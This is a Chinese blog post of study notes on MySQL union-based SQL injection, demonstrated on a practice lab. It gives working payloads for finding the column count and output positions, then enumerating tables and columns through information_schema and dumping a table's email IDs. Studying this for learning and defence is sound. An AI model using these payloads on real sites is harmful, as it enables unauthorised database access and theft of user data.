vlambda博客
学习文章列表

SQL注入常见的姿势一:联合查询注入

SQL注入常见的姿势一:联合查询注入

写在前面:这篇文章是我在学习MySQL注入时的笔记,MySQL注入有好多的注入方式,这里就首先仔细讲一下联合查询注入。

原视频指路:https://www.bilibili.com/video/BV1VA411u7Tg?p=9

联合查询注入的基本条件:

  1. 查询列数必须一致。

  2. 查询语句的查询的各列类型,顺序最好一致。

联合查询的步骤:

  1. 闭合

  2. 判断字段数

  3. 判断结果输出位置

这里就要提到order by函数,如果 order by后面接的是整形的话,就会根据这个字段进行排序。这里我就使用MySQL靶场演示一下。

当我输入order by 3时,发现并没有报错,说明字段是多与或者等于3列字段的。

SQL注入常见的姿势一:联合查询注入

当我输入order by 4时,发现报了一个错误,说明这个数据库中只存在三列字段。

SQL注入常见的姿势一:联合查询注入


这里就要介绍另一个函数union,union操作符用于合并两个或多个select语句的结果集。这里给大家一个网址,具体介绍了union语句。https://www.w3school.com.cn/sql/sql_union.asp    

这里输入?id=1' union select 1,2,3 --+

SQL注入常见的姿势一:联合查询注入

这里可以发现并没有什么改变,这是因为union默认输出第第一行,这里使用docker给大家看一下区别


SQL注入常见的姿势一:联合查询注入这时将第一行的变为空集,即输入?id=-1' union select 1,2,3 --+即可。

SQL注入常见的姿势一:联合查询注入

这时便会看见输出了第二行,并没有将空集输出,这时便达到了咱们的目的。(这个语句只会输出2和3位置,并不会输出1的位置,所以在使用的时候需要更改2和3,更改1的位置并没用)下面我演示一下,这里我输出一下database

SQL注入常见的姿势一:联合查询注入

可以看到输出了database,到这就讲解完了输出位置。

    4. 爆库、爆表、爆列

爆破库名

union select 1,2,database()

爆破表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

union select 1,2, group_concat(table_name) from information_schema.columns where table_schema=database()

爆破Column名

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()

这里我首先获取表名,

SQL注入常见的姿势一:联合查询注入

可以看见这里一共有四个库名,接下来就可以进行接下来的一系列操作,例如获取emails这个表的内部数据。

这里我使用union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails'来获取emails的所有数据字段。

SQL注入常见的姿势一:联合查询注入

可以看到emails中只有两个字段。

  • 这里表名和列名都有了之后,便可以自由构造语句来获取每个表中的信息了。

这里我使用?id=-1' union select 1,2,group_concat(email_id) from emails --+来查询emails中的所有用户的email_id


到这里联合查询注入就简单说完了,这是我在学习联合查询注入时的笔记,如有疑问或者建议欢迎提出,感谢观看。

END


编辑|周朝阳